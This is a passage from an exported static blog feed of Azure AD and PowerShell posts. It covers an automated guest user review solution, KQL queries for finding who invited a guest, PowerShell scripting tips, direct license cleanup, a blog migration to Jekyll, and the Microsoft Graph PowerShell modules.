project\u0026rsquo;s GitHub repository.\nThe Azure resources will be named according to the recommended naming and tagging conventions provided by Microsoft\nFor the Function App, Storage Account and Key Vault resources which require an unique name the first part of the resource group id serves as suffix\nFeel free to change the deployment parameters to reflect your Azure naming convention\nDeployment via Azure portal:\nDeployment via Az PowerShell:\n# Create new resource group $rgName = \u0026#34;arg-guestreview-euw-tst-01\u0026#34; $rgLocation = \u0026#34;West Europe\u0026#34; New-AzResourceGroup -Name $rgName -Location $rgLocation # Deploy ARM Template with app registration details in parameters.json file New-AzResourceGroupDeployment -ResourceGroupName $rgName -TemplateFile \u0026#34;C:\\Repos\\GitHub\\AzureADGuestReview\\guestReview.json\u0026#34; -TemplateParameterFile \u0026#34;C:\\Repos\\GitHub\\AzureADGuestReview\\guestReview.parameters.json\u0026#34; -Verbose Post deployment steps # Authorize \u0026lsquo;Office 365 Outlook\u0026rsquo; API Connection in the Azure Portal with the Account you want to send your notification e-mails: Add the Azure functions from the PowerShell scripts Repeat the steps for all three functions Grab \u0026amp; paste the function URL for the \u0026ldquo;fetchLastSigninAndManager\u0026rdquo; \u0026amp; \u0026ldquo;updateGuestManagementMeta\u0026rdquo; function in the logic app Create an action group for your log analytics workspace to trigger the Azure Function: \u0026lsquo;PopulateGuestInviterAsManager\u0026rsquo;\nMake sure to enable the common alert schema Add a new alert rule to your log analytics workspace which triggers the previously created action group\nChoose severity level 4 (which refers to verbose) and not 0 like I did Custom log search query: AuditLogs | where OperationName == \u0026#39;Invite external user\u0026#39; and Result == \u0026#39;success\u0026#39; How it works # Populating the manager # As soon as a new guest gets invited to the tenant the alert rule from the log analytics workspace triggers the function to populate the manager The input for the function is a json body which looks like this The Logic App # The logic app performs the following steps in sequence:\nFetch the ApplicationID, TenantID and ClientSecret from the Key Vault via Managed identity Get all guest users from Microsoft Graph API For every guest user (iteration):\nCall Azure Function to fetch manager (Azure AD attribute), lastReview (open type extension) and lastSignin (Azure AD sign-in logs) { \u0026ldquo;managerUpn\u0026rdquo;: \u0026ldquo;nicola@nicolasuter.ch\u0026rdquo;, \u0026ldquo;userId\u0026rdquo;: \u0026ldquo;29b956fe-6c3c-4135-9aa4-85853094d867\u0026rdquo;, \u0026ldquo;lastSignIn\u0026rdquo;: \u0026ldquo;2020-07-06T19:29:15.4651766Z\u0026rdquo;, \u0026ldquo;lastReview\u0026rdquo;: \u0026ldquo;2020-07-12T09:45:43.7814187Z\u0026rdquo;, \u0026ldquo;inviterId\u0026rdquo;: null, \u0026ldquo;inviterUpn\u0026rdquo;: \u0026ldquo;nicola@nicolasuter.ch\u0026rdquo; } Check time difference between 'current timestamp' - lastReview Check if a manager is assigned If a new review is required send a confirmation mail to the manager Based on the manager\u0026rsquo;s selected option: Approve -\u0026gt; Update lastReview timestamp Suspend -\u0026gt; Disable the account via Graph \u0026amp; Update lastReview timestamp Delete -\u0026gt; Delete the account via Graph The review for the specific guest is now completed Note: The review email is an asynchronous action and the logic app will only change the state to completed if all managers submitted their input. You might want to adjust the default timeout for the approval / logic app runtime.\nFAQ # What happens if a user doesn\u0026rsquo;t have a manager assigned\nNo reviews will occur You could easily extend the logic app to gather all guest users without a manager and send a separate mail to the IT department How can I add existing guests to this solution?\nSimply populate the manager attribute of your guest accounts Here\u0026rsquo;s a migration script which performs bulk population if you have a log analytics workspace with the Azure AD audit logs What\u0026rsquo;s the default approval frequency\n30 days (adjustable via logic app variable) How often will the managers receive an e-mail if they don\u0026rsquo;t respond\nEvery day (adjustable via logic app trigger) How are the app registration details and credentials stored\nThey are stored in the Azure Key Vault The access policy grants the managed identity of the function app and logic app access to retrieve the secrets Output is hidden within the logic app to avoid sensitive information in the logic app run history I only want to use the feature to automatically populate the inviter as the manager of the guest\nYou can either adjust the ARM template or deploy the full solution and then delete the Logic App \u0026amp; Office 365 API Connection Final words # This solution will definitely boost your guest user governance as the inviters can directly manage the lifecycle of the guests. Additionally you can easily identify who\u0026rsquo;s responsible for a guest account.\nHappy guest user reviewing.\n","date":"14 July 2020","externalUrl":null,"permalink":"/azure-ad-guest-user-review-solution/","section":"Posts","summary":"Azure Active Directory guest users really simplify the process to collaborate with external users. Although keeping a good governance on guest accounts can become quite a challenge. The two biggest challenges I often observe are: “Who invited that guest user?” and “Does this guest user still need access to our infrastructure?”. Inspired by a recent post of Thomas Kurth regarding Azure AD Guest Account - Governance and Cleanup I also developed a solution which comes quite close to an “Azure AD Access review” like user experience.\nNotable features # The ‘Manager’ attribute of your guest users get’s automatically populated with the identity of the inviter All Azure AD app registration information is stored in Azure Key Vault Almost zero touch deployment with ARM templates You can integrate existing guest users into this solution by populating the manager attribute in Azure AD You can configure the approval frequency for guest accounts Approval frequency respects last approval date for each guest account Architecture # The solution leverages function of:\nAzure Logic App\n","title":"Azure AD guest user review solution","type":"posts"},{"content":"","date":"14 July 2020","externalUrl":null,"permalink":"/tags/microsoft-graph/","section":"Tags","summary":"","title":"Microsoft-Graph","type":"tags"},{"content":"Who invited this Azure AD guest user? Examining who invited a specific a guest account can be quite a challenging question if you don\u0026rsquo;t have a log analytics workspace in place with Azure AD Audit log forwarding configured.\nKusto queries for your log analytics workspace # The following queries help you to identify who invited a guest. If you haven\u0026rsquo;t set-up Azure AD audit log forwarding it\u0026rsquo;s the right time to do it now as described in one of my previous blogs.\nTo find all guest invitations:\nAuditLogs | where OperationName == \u0026#39;Invite external user\u0026#39; and Result == \u0026#39;success\u0026#39; To find all accepted invitations:\nAuditLogs | where OperationName == \u0026#39;Invite external user\u0026#39; and Result == \u0026#39;success\u0026#39; | extend InvitationId = tostring(AdditionalDetails[0].value) | join ( AuditLogs | where OperationName in(\u0026#39;Redeem external user invite\u0026#39;) | parse kind=regex TargetResources[0].displayName with * \u0026#34;InvitationId: \u0026#34; InvitationId:string \u0026#34;,\u0026#34; ) on $left.InvitationId == $right.InvitationId Improving your guest user governance # To simplify the guest user review and management process I developed a solution which fully automates this process. Additionally the solution populates the user who invited a guest as the guest\u0026rsquo;s manager which allows you to easily examine the question \u0026ldquo;Who invited this Azure AD Guest Account?\u0026rdquo;.\nAzure AD guest user review solution\n","date":"14 July 2020","externalUrl":null,"permalink":"/who-invited-azure-ad-guest/","section":"Posts","summary":"Who invited this Azure AD guest user? Examining who invited a specific a guest account can be quite a challenging question if you don’t have a log analytics workspace in place with Azure AD Audit log forwarding configured.\nKusto queries for your log analytics workspace # The following queries help you to identify who invited a guest. If you haven’t set-up Azure AD audit log forwarding it’s the right time to do it now as described in one of my previous blogs.\nTo find all guest invitations:\nAuditLogs | where OperationName == 'Invite external user' and Result == 'success' To find all accepted invitations:\nAuditLogs | where OperationName == 'Invite external user' and Result == 'success' | extend InvitationId = tostring(AdditionalDetails[0].value) | join ( AuditLogs | where OperationName in('Redeem external user invite') | parse kind=regex TargetResources[0].displayName with * \"InvitationId: \" InvitationId:string \",\" ) on $left.InvitationId == $right.InvitationId Improving your guest user governance # To simplify the guest user review and management process I developed a solution which fully automates this process. Additionally the solution populates the user who invited a guest as the guest’s manager which allows you to easily examine the question “Who invited this Azure AD Guest Account?”.\nAzure AD guest user review solution\n","title":"Who invited this Azure AD guest user?","type":"posts"},{"content":"Most of the time PowerShell is my favourite choice to automate processes and tasks. In order to improve the maintainability of my scripts I usually try to focus on some standards combined with a clean scripting style. In this post I want to show you 10 suggestions to improve your next PowerShell script. I\u0026rsquo;ve tried to order the suggestions according to an actual PowerShell starting from the very first line till the last line.\n1. Script prerequisites # Your PowerShell script might need specific modules or elevated user rights to run. The #Requires statement ensures that these prerequisites are met before the actual script get\u0026rsquo;s executed. So you don\u0026rsquo;t need to implement your own checks to verify prerequisites.\nSimply use the #Requires statement at the very first line of your script. Find out more about #Requires statement.\nModules # Another benefit of specifying the modules within the requires statement is that scripts hosted on the PowerShell Gallery automatically install the modules mentioned in the #Requires list.\nTo make sure a specific module is installed use:\n#Requires -module \u0026#34;Microsoft.Graph.Intune\u0026#34; To ensure a module with a specific version is available:\n#Requires -Module @{ ModuleName = \u0026#39;Microsoft.Graph.Authentication\u0026#39;; ModuleVersion = \u0026#39;0.7.0\u0026#39;} Script running as administrator # If your Script requires elevation simply add:\n#Requires -RunAsAdministrator 2. Get access to common script parameters # You might have stumbled over parameters like -Verbose, -WhatIf, -Force, -Debug. These become available when you declare\n[CmdletBinding()] attribute at the beginning of your scripts. It provides you access to those common parameters. Learn more about the CmdletBindingAttribute\n3. Use appropriate output streams # PowerShell offers multiple output streams to present information and output data. Using the designated streams allows proper error handling and comes with built-in functionality to show or hide certain information like debug or verbose output. Additionally it makes the script easier to understand and maintain because not everyone associates the same meaning to a specific output color you choose:\nWrite-Host -ForegroundColor Red \u0026ldquo;Error occured\u0026rdquo; -\u0026gt; Write-Error Write-Host -ForegroundColor Green \u0026ldquo;Some verbose output\u0026rdquo; -\u0026gt; Write-Verbose Write-Host -ForegroundColor Yellow \u0026ldquo;Some debug output\u0026rdquo; -\u0026gt; Write-Debug By default the Verbose and Debug streams are not shown. These are either displayed by modifying the $VerbosePreference / $DebugPreference or by passing the -Verbose / -Debug switch to a script or function.\n4. Avoid multi line code with splatting # Instead of using very long lines of code which probably exceed your PowerShell editor\u0026rsquo;s screen size you can use splatting to pass your arguments in a hashtable. This also improves the readability of your script and simplifies changing parameters because you don\u0026rsquo;t need to modify the reference to the hashtable. Another benefit of spaltting is that you reference the original parameter names of the cmdlet so it should also be clear for what the parameter is used. This is not always the case if you declare your own variables and pass them to the cmdlet parameters.\nInstead of:\n# Usually these variables are placed within the first line of the script $mailSender = \u0026#34;nicola@nicolasuter.ch\u0026#34; $mailRecipients = $smtpServer = \u0026#34;smtp.office365.com\u0026#34; $mailPort = 587 $mailSubject = \u0026#34;Question regarding your blog\u0026#34; $mailTemplate = \u0026#34;\u0026lt;h1\u0026gt;Hello\u0026lt;/h1\u0026gt;\u0026#34; $mailCredentials = Get-Credential \u0026lt;# In between comes a lot of other script stuff #\u0026gt; # And a hundred lines later you will access the variables Send-MailMessage -From $mailSender -To $mailRecipients -SmtpServer $smtpServer -Port $mailPort -UseSsl -Subject $mailSubject -Body $mailTemplate -Credential $mailCredentials -BodyAsHtml You could use:\n$mailConfiguration = @{ From = \u0026#34;nicola@nicolasuter.ch\u0026#34; To = @(\u0026#34;techblog@nicolonsky.ch\u0026#34;) SmtpServer = \u0026#34;smtp.office365.com\u0026#34; Port = 587 UseSsl = $true Subject = \u0026#34;Question regarding your blog\u0026#34; Body = \u0026#34;\u0026lt;h1\u0026gt;Hoi\u0026lt;/h1\u0026gt;\u0026#34; Credential = Get-Credential BodyAsHtml = $true } Send-MailMessage @mailConfiguration Note that the keys of the hashtable need to match the parameter names of your cmdlet.\nRead more about splatting\n5. Parameter declaration # Declare parameters where you expect a value as mandatory and others as optional with a default value when applicable. If you want to perform additional validation the parameter section with a ValidateScript is the right place because the parameters will be evaluated before the actual script execution.\nHere\u0026rsquo;s a little example which combines a mandatory parameter and a ValidateScript to test a path:\n[CmdletBinding()] param ( [Parameter(Mandatory)] [string] [ValidateScript( { $path = Test-Path $_ if (-not $path){ throw \u0026#34;Path \u0026#39;$_\u0026#39; does not exist!\u0026#34; } return $path } )] $FilePath ) Read more about ValidateScript\n6. Advanced Data Structures # Advanced data structures allow you to group and structure your information in scripts. So as a little reference let\u0026rsquo;s have a closer look on custom objects and Hash tables.\nCustom Objects # A custom object holds properties and values which can both be altered after the object was created. I mainly use them to output date for reports like in my Conditional Access Documentation PowerShell script.\n$myObject = [PSCustomobject]@{ Property = \u0026#34;Value\u0026#34; } You can store an array of custom objects by initializing an empty array and adding the objects:\n$myObjectArray = @() $myObjectArray += [PSCustomobject]@{ Property = \u0026#34;Value1\u0026#34; } $myObjectArray += [PSCustomobject]@{ Property = \u0026#34;Value2\u0026#34; } Hash tables # Hash tables store information in a key - value format. They are very efficient and useful if you want to perform mappings like a company code to a full company name. Hash tables are more efficient to retrieve or find data than an array of PSCustomobjects.\nAnother typical use case for hash tables are request parameters for a web request or splatting as mentioned in suggestion #4.\n$myhashtable = @{ Key1 = \u0026#34;Value1\u0026#34; Key2 = \u0026#34;Value2\u0026#34; } Iterating over a hashtable # Iterating (processing each entry which consists of a single key \u0026amp; value) in a hashtable works a little bit different if you are not familiar with object oriented programming languages.\nIn your foreach loop you need to call the GetEnumerator() method which enumerates all key and value pairs:\nforeach ($entry in $myhashtable.GetEnumerator()){ Write-Output \u0026#34;Accessing the key $($entry.Key)\u0026#34; Write-Output \u0026#34;Accessing the value $($entry.Value)\u0026#34; Write-Output \u0026#34;`n\u0026#34; } Accessing a specific hashtable value by key # $myhashtable[\u0026#34;Key1\u0026#34;] 7. Comparing Objects # A common use case is to compare two arays with objects. PowerShell offers a built-in Cmdlet for this:\nCompare-Object -ReferenceObject $myFirstObjectArray -DifferenceObject $mySecondObjectArray -Property ObjectId Make sure to specify the -Property parameter to ensure proper comparison.\nRead more about Compare-Object\n8. Logging # Instead of writing complex logging functions you can easily redirect all PowerShell output streams to a file with the transcript function. This captures all PowerShell output.\nSimply call the transcript function at the beginning of your script:\nStart-Transcript -Path $(Join-Path $env:TEMP \u0026#34;ExampleScript.log\u0026#34;) And don\u0026rsquo;t forget to stop it at the end:\nStop-Transcript\n9. Error Handling # This might be a rather controversial point but don\u0026rsquo;t be afraid of errors in your script which you can\u0026rsquo;t control. If your script requires a connection to a service like Azure Active Directory or an external API just forward your errors to the client and make it a terminating error.\nBy default PowerShell does not stop the script execution when an error occurs. This default behaviour is controlled by the $ErrorActionPreference variable which has a default value of Continue.\nFor example if you have a script with a line of code which is crucial for your script like retrieving all users from Azure Active Directory you can tell PowerShell to stop the script execution by adding the -ErrorAction parameter.\nSo instead of investing a lot of time for connection checks simply halt the script if the user didn\u0026rsquo;t establish a connection:\n$allUsers = Get-MsolUser -All -ErrorAction Stop Because the built in error is quite clear:\nGet-MsolUser : You must call the Connect-MsolService cmdlet before calling any other cmdlets. At line:1 char:1 + Get-MsolUser -All + ~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [Get-MsolUser], MicrosoftOnlineException + FullyQualifiedErrorId : Microsoft.Online.Administration.Automation.MicrosoftOnlineException,Microsoft.Online.Adm inistration.Automation.GetUser If you want to create your own terminating exception you can halt a script by calling throw followed by your custom message.\nDependant actions # Assuming you have a couple of actions which depend on the previous action\u0026rsquo;s success - these are ideally gathered in a try{} catch{} construct. This often applies to loops where you perform bulk operations like creating something and then modify attributes.\n10. Use the right workflow for your scripts # For the last suggestion I gathered some non-scripting essentials which are as important as writing good PowerShell scripts.\nDocumentation # Everyone knows documentation is important so let\u0026rsquo;s keep this one short:\nAdd an inline script documentation OR documentation in a readme.md file for your script (personally i prefer Readme files with markdown) Illustrate complex scripts and interfaces with a diagram (your colleagus will thank you) Document requirements for your scripts like an Azure AD App registration And here a personal (maybe) unpopular onpinion:\nComments like this don\u0026rsquo;t provide any value so don\u0026rsquo;t write them\n# Connect to Azure AD Connect-AzureAD Take care of secrets and credential assets # Instead of jiggling around with secure strings and other fancy methods to keep your credentials \u0026lsquo;secure\u0026rsquo; better use an appropriate service like Azure Key Vault. This also offers you more flexibility to rotate credentials because they are not hard-coded in a script.\nIf you are new to working with PowerShell and git also make sure to never ever check-in secrets or tokens into version control. Once pushed they will remain in the commit history of your repository.\nUse Visual Studio Code # Visual Studio code is a really powerful editor for PowerShell scripts. It offers a lot of autocomplete features to help you with declaring functions, parameters and script blocks.\nSupport for git version control Auto format options for scripts Search and replace features Comes with the PSSScriptanalyzer which shows handy recommendations to improve the readability and functionality of your scripts Get VS Code here\nUse Version Control # This one is not directly related to scripting but about how and where you store your scripts. Storing PowerShell on a normal file system feels just wrong. By using a version control system like git you have a full history, and multiple people can work on the same scripts. And if something goes wrong you cann roll back your changes.\nInsted of :\nscripts/ ├── intunescript/ │ ├── retireIntuneDevice1.0.ps1 │ ├── retireIntuneDevice1.1.ps1 │ ├── retireIntuneDevice_final.ps1 │ ├── retireIntuneDevice_working.ps1 │ └── retireIntuneDevice_final.ps1.old Get familiar with:\ngit add \u0026#34;retireIntuneDevice.ps1\u0026#34; git commit -m \u0026#34;Added support for a CSV list which specifies devices to be retired\u0026#34; git push By the way Azure DevOps comes with five free licenses to get started with git repositories and CI/CD pipelines.\nFinal words # Of course not every point mentioned applies to all scripts and the list is not exhaustive but you hopefully have a few inputs to rock your next PowerShell script(s). The listed suggestions are not related to a specific PowerShell version.\nKeep on PowerShelling and remember: Practice makes perfect.\n","date":"8 July 2020","externalUrl":null,"permalink":"/10-suggestions-to-improve-your-next-powershell-script/","section":"Posts","summary":"Most of the time PowerShell is my favourite choice to automate processes and tasks. In order to improve the maintainability of my scripts I usually try to focus on some standards combined with a clean scripting style. In this post I want to show you 10 suggestions to improve your next PowerShell script. I’ve tried to order the suggestions according to an actual PowerShell starting from the very first line till the last line.\n1. Script prerequisites # Your PowerShell script might need specific modules or elevated user rights to run. The #Requires statement ensures that these prerequisites are met before the actual script get’s executed. So you don’t need to implement your own checks to verify prerequisites.\nSimply use the #Requires statement at the very first line of your script. Find out more about #Requires statement.\nModules # Another benefit of specifying the modules within the requires statement is that scripts hosted on the PowerShell Gallery automatically install the modules mentioned in the #Requires list.\nTo make sure a specific module is installed use:\n#Requires -module \"Microsoft.Graph.Intune\" To ensure a module with a specific version is available:\n","title":"10 suggestions to improve your next PowerShell script","type":"posts"},{"content":"Who doesn\u0026rsquo;t love a clean and tidy environment, do you? This also applies for your license assignments in Office 365 and Azure AD. As time passess it is likely to have users with direct license assignments or users which still have old trial licenses assigned. To get rid of those assignments I created a PowerShell script with removal and reporting functionality.\nDirect link to the script.\nIdentify direct license assignments # In the Azure Portal we recognize direct license assignments on a user account by viewing the \u0026ldquo;Assignment Paths\u0026rdquo;: With the MSOnline PowerShell module we can view the Licenses property of a user and retrieve a nested property called: GroupsAssigningLicense. The GroupsAssigningLicense property contains either:\nAn empty array if the license was not inherited from a group -\u0026gt; direct assignment An array with objectId\u0026rsquo;s If the array contains the user\u0026rsquo;s objectId -\u0026gt; direct assignment Example 1: User with objectId 36c9b091-fe88-4dc2-a9e1-2662020b4bab has group based license assignment and direct assignment:\nAccountSkuId : nicolasuter:SPE_E5 GroupsAssigningLicense : {0a918505-d0d5-4078-9891-0e8bec67cb65, 36c9b091-fe88-4dc2-a9e1-2662020b4bab} Example 2: User has no inherited licenses from a group:\nAccountSkuId : nicolasuter:SPE_E5 GroupsAssigningLicense : {} PowerShell Script # You find the PowerShell script on my techblog GitHub repository.\nBefore removing any license assignments I strongly advice you to run the script with the -WhatIf option and to check your assignments. If you remove licenses from accounts this will disable the associated services.\nPrerequisites # Before running the script make sure that you have the MSOnline PowerShell module installed Connect to MSOnline with: Connect-MsolService Available parameters # Execute the script via dot sourcing:\n\u0026amp; \u0026quot;.\\Invoke-CleanupAADDirectLicenseAssignments.ps1\u0026quot;\n\u0026hellip; and pass your desired parameters:\nTo predict changes: -WhatIf\nTo predict changes and save csv report to script directory:\n-WhatIf -SaveReport Remove direct license assignments by calling the script without parameters:\n\u0026amp; \u0026quot;.\\Invoke-CleanupAADDirectLicenseAssignments.ps1\u0026quot; ","date":"8 July 2020","externalUrl":null,"permalink":"/remove-azure-ad-direct-license-assignments-with-powershell/","section":"Posts","summary":"Who doesn’t love a clean and tidy environment, do you? This also applies for your license assignments in Office 365 and Azure AD. As time passess it is likely to have users with direct license assignments or users which still have old trial licenses assigned. To get rid of those assignments I created a PowerShell script with removal and reporting functionality.\nDirect link to the script.\nIdentify direct license assignments # In the Azure Portal we recognize direct license assignments on a user account by viewing the “Assignment Paths”: With the MSOnline PowerShell module we can view the Licenses property of a user and retrieve a nested property called: GroupsAssigningLicense. The GroupsAssigningLicense property contains either:\nAn empty array if the license was not inherited from a group -\u003e direct assignment An array with objectId’s If the array contains the user’s objectId -\u003e direct assignment Example 1: User with objectId 36c9b091-fe88-4dc2-a9e1-2662020b4bab has group based license assignment and direct assignment:\nAccountSkuId : nicolasuter:SPE_E5 GroupsAssigningLicense : {0a918505-d0d5-4078-9891-0e8bec67cb65, 36c9b091-fe88-4dc2-a9e1-2662020b4bab} Example 2: User has no inherited licenses from a group:\nAccountSkuId : nicolasuter:SPE_E5 GroupsAssigningLicense : {} PowerShell Script # You find the PowerShell script on my techblog GitHub repository.\n","title":"Remove Azure AD direct License Assignments with PowerShell","type":"posts"},{"content":"Another migration of my blog? After running it for almost three years I thought it\u0026rsquo;s time for another change. The Ghost platform introduced a lot of changes and updates (with features that I don\u0026rsquo;t need) and caused me quite some expenses on my Azure subscription (around 50$ each month). Furthermore I wanted someting looking more clean with more focus on the writing part without a lot of fancy add-ons and functionalities. But it still had to cover features like tag summaries, yearly archive and a site search (Ghost doesn\u0026rsquo;t ship with those features out of the box). Because static sites seem to be a thing now I thought let\u0026rsquo;s hop onto the static site generator train.\nI did some subjective research and decided that it will be Jekyll. I\u0026rsquo;ve chosen Jekyll because it\u0026rsquo;s quite easy to understand compared to hugo. Although hugo offers GraphQL which allows you to generate blog posts basically from any source including a REST API and Ghost has such an API in place which provides access to all posts.\nTo sum up the evolution of my blog:\n2017 - 2018: Wordpress (hosted on a free hoster) 2018 - 2020: Ghost (hosted on Azure) 2020 - 20xx: Jekyll (hosted on GitHub Pages) Since the beginning of my blog I had my DNS zones running on Cloudflare including CDN features. When I migrated from Wordpress to Ghost I also migrated the comments to Disqus -\u0026gt; so for this migration I didn\u0026rsquo;t need to change anything regarding comments.\nBrief steps of the migration # The whole migration process took me about five hours. these are the main steps involved in the migration from Ghost to Jekyll:\nSetup Windows Subsystem for Linux (WSL) II with a Ubuntu distro Microsoft docs Install Jekyll and dependencies on Ubuntu (running as WSL) steps Cloning the Minimal Mistakes GitHub Template Export Ghost Posts with the built-in export functionality Download blob content from Ghost (images and other binary stuff) via Azure Web App Advanced Tools / Kudu Convert exported posts from Ghost (step #4) to plain markdown files in Jekyll using the Jekyll ghost importer Adjustments in the markdown posts (there were some ghost garbage entries) \u0026amp; configured the minimal mistakes theme according to my needs Published everything to my git repository Change Cloudflare DNS records to point to GitHub pages Ensure proxy is not enabled in Cloudflare Enable strict SSL (aka SSL only) on GitHub pages Turn Cloudflare proxy back on Tried to fix my Disqus comments because some discussions were pointing to some strange Ghost post id\u0026rsquo;s (not yet fully completed) Having fun writing my blog posts with Visual Studio Code including WSL remoting (this is really awesome) and git while learning a lot of cool stuff Sidenotes # My git repository is marked as private because I want to be able to push drafts without being visible on GitHub Configured Cloudflare page rules (three rules come with the free plan) to perform 301 redirects to catch some URL\u0026rsquo;s which changed because of the migration {:width=\u0026ldquo;60%\u0026rdquo;} I used my browsers developer tools to verify the population of the meta tags in the header section of my posts and pages The twitter Card validator comes quite handy to verify open graph meta attributes and image preview Some reflection # Pros of my new blog architecture:\nEnjoying a blazing fast site because it\u0026rsquo;s not tied to any database and serves static content Not tied to a specific hoster or service Can now focus more on the writing part because it\u0026rsquo;s pure markdown \u0026amp; use VS code Can edit my posts basically everywhere (also offline) as long as I have a clone of the git repository Improved backup of my site because it uses git as distributed version control including a full history Cons:\nYou need to be familiar with git and markdown (in my opinion also a strong pro argument 😉) Jekyll needs more attention in the area of SEO and populating metadata which both Wordpress and Ghost ship out of the box No drag and drop for adding images (but I generally try to only add images if they provide added value) No autocorrection in Visual Studio Code (drop a comment if you know a nice extension) Illustrated architecture # To end this post in style here\u0026rsquo;s a little architecture overview of my new blogging platform:\n{:width=\u0026ldquo;60%\u0026rdquo;}\nThat\u0026rsquo;s all folks. The next blog posts will be again about EM+S and I will try to blog more frequently.\nCheers.\n","date":"27 June 2020","externalUrl":null,"permalink":"/migrate-ghost-blog-to-jekyll/","section":"Posts","summary":"Another migration of my blog? After running it for almost three years I thought it’s time for another change. The Ghost platform introduced a lot of changes and updates (with features that I don’t need) and caused me quite some expenses on my Azure subscription (around 50$ each month). Furthermore I wanted someting looking more clean with more focus on the writing part without a lot of fancy add-ons and functionalities. But it still had to cover features like tag summaries, yearly archive and a site search (Ghost doesn’t ship with those features out of the box). Because static sites seem to be a thing now I thought let’s hop onto the static site generator train.\nI did some subjective research and decided that it will be Jekyll. I’ve chosen Jekyll because it’s quite easy to understand compared to hugo. Although hugo offers GraphQL which allows you to generate blog posts basically from any source including a REST API and Ghost has such an API in place which provides access to all posts.\nTo sum up the evolution of my blog:\n2017 - 2018: Wordpress (hosted on a free hoster) 2018 - 2020: Ghost (hosted on Azure) 2020 - 20xx: Jekyll (hosted on GitHub Pages) Since the beginning of my blog I had my DNS zones running on Cloudflare including CDN features. When I migrated from Wordpress to Ghost I also migrated the comments to Disqus -\u003e so for this migration I didn’t need to change anything regarding comments.\n","title":"How I migrated my Ghost blog to Jekyll","type":"posts"},{"content":"","date":"27 June 2020","externalUrl":null,"permalink":"/tags/miscellaneous/","section":"Tags","summary":"","title":"Miscellaneous","type":"tags"},{"content":"Microsoft is working on a new set of PowerShell modules grouped under the umbrella of Microsoft.Graph that will (hopefully) cover all the Microsoft Graph resources available. I\u0026rsquo;ve already used some of them for my Conditional Access Documentation Script and thought they have some notable features worth sharing.\nAdvantages and changes # The Microsoft Graph modules use the new Microsoft Authentication Library (MSAL) instead of the old Azure AD Authentication Library (ADAL). The MSAL library in the modules implements a token cache which persists the access and refresh tokens.\nMSAL caches a token after it has been acquired. Application code should try to get a token silently (from the cache), first, before acquiring a token by other means. - Microsoft docs\nThe token cache persists system reboots and re-opening PowerShell sessions. The module allows you to obtain tokens either for authentication via client credentials (certificate only) or device code flow.\nFurthermore, the new modules support a really broad spectrum of available entities on the Graph API. From an EM+S perspective this means for example: groups, users, identity protection, conditional access, and some of the Intune app management commands are also starting to appear.\nJust be aware that the modules are currently published as pre-release. If you encounter any issues share them with the development team on GitHub and submit issues or even better contribute directly to the project.\nHow to get the module(s) # The modules are available on the PowerShell Gallery. Install all modules with:\nInstall-Module -Name Microsoft.Graph -Scope CurrentUser You can also install individual modules like the module for group management \u0026ldquo;Microsoft.Graph.Group\u0026rdquo;. Whereas the \u0026ldquo;Microsoft.Graph.Authentication\u0026rdquo; is the minimal starting point in order to connect to Microsoft Graph.\nNote that all the cmdlets are prefixed with Mg which produces cmdlets in the format of verb- Mg noun:\nGet-MgGroup Get-MgUser Get-MgConditionalAccessPolicy Connecting to Graph # The Microsoft Graph modules support authentication via device code flow (accessing the API as user) or via client credentials (accessing the API as application).\nOption 1 - Device code flow # Start device code flow authentication \u0026amp; grant initial consent: Connect-Graph -Scopes @(\u0026quot;Group.Read.All\u0026quot;) Navigate with your web brwoser to https://microsoft.com/devicelogin and enter the code displayed in your terminal Sign-in with your Azure AD account: Grant consent: Check the current Graph Connection details Let\u0026rsquo;s search for a group Option 2 - Client credentials (certificate) # The Microsoft.Graph module supports authentication with a client certificate. Client secrets are not supported (when this post was written).\nGenerate a new certificate in your personal certificate store Create an Azure AD App registration Assign the desired Microsoft Graph Permissions (Application Permissions, do not forget to grant admin consent) Upload the public key of your generated certificate to the app registration Note the app registration details Connect to Graph with: Connect-Graph -ClientId 66d94fbd-2d81-4c80-b85a-0dbfd2cd164c -TenantId 7955e1b3-cbad-49eb-9a84-e14aed7f3400 -CertificateThumbprint 9542C4E9B5E21120F3FEC7AD22411F0F727CA0D2 When checking the connection details Reconnecting # If you have cached tokens (verify with Get-MgContext) you can use the Connect-Graph command without passing additional arguments.\nClearing the token cache # Clearing the token cache is fairly simple, just run:\nDisconnect-Graph Final words # I really like the new Microsoft.Graph PowerShell module but in the same time I hope that they will integrate really all the features from other modules which are already using Microsoft Graph. Just to name some of them: Intune PowerShell SDK, Azure AD PowerShell, MicrosoftTeams\u0026hellip; We are already experiencing enough portals - at least let\u0026rsquo;s keep the number of PowerShell modules low.\nCheers and happy g-raph -ing.\n","date":"12 May 2020","externalUrl":null,"permalink":"/exploring-the-new-microsoft-graph-powershell-modules/","section":"Posts","summary":"Microsoft is working on a new set of PowerShell modules grouped under the umbrella of Microsoft.Graph that will (hopefully) cover all the Microsoft Graph resources available. I’ve already used some of them for my Conditional Access Documentation Script and thought they have some notable features worth sharing.\nAdvantages and changes # The Microsoft Graph modules use the new Microsoft Authentication Library (MSAL) instead of the old Azure AD Authentication Library (ADAL). The MSAL library in the modules implements a token cache which persists the access and refresh tokens.\nMSAL caches a token after it has been acquired. Application code should try to get a token silently (from the cache), first, before acquiring a token by other means. - Microsoft docs\nThe token cache persists system reboots and re-opening PowerShell sessions. The module allows you to obtain tokens either for authentication via client credentials (certificate only) or device code flow.\nFurthermore, the new modules support a really broad spectrum of available entities on the Graph API. From an EM+S perspective this means for example: groups, users, identity protection, conditional access, and some of the Intune app management commands are also starting to appear.\nJust be aware that the modules are currently published as pre-release. If you encounter any issues share them with the development team on GitHub and submit issues or even better contribute directly to the project.\n","title":"Exploring the new Microsoft Graph PowerShell Module(s)","type":"posts"},{"content":"For some recent Microsoft Graph scripts I wanted to translate some Azure AD Object ID / GUID entries to their respective display name. The array with the GUID\u0026rsquo;s contained already some readable text. Of course I only wanted to translate the GUID entries with according Graph API requests. Otherwise the Graph requests would fail. Google offered only some fancy regex functions and helpers but I had that .NET function in my mind which looks much nicer compared to whatever regex pattern that I don\u0026rsquo;t understand.\n\u0026#34;applications\u0026#34;: { \u0026#34;includeApplications\u0026#34;: [ \u0026#34;797f4846-ba00-4fd7-ba43-dac1f8f63013\u0026#34;, \u0026#34;Office365\u0026#34; ] } So I needed a way to test a string for a valid GUID and only invoking the Graph calls for GUID values.\nMatching a GUID with a regex # I found the following regex on this site:\n\u0026#34;d815c3bc-9c49-4633-9d16-29808242d063\u0026#34; -match \u0026#39;(?im)^[{(]?[0-9A-F]{8}[-]?(?:[0-9A-F]{4}[-]?){3}[0-9A-F]{12}[)}]?$\u0026#39; Matching a GUID with the .NET method # Instead of the complex regex 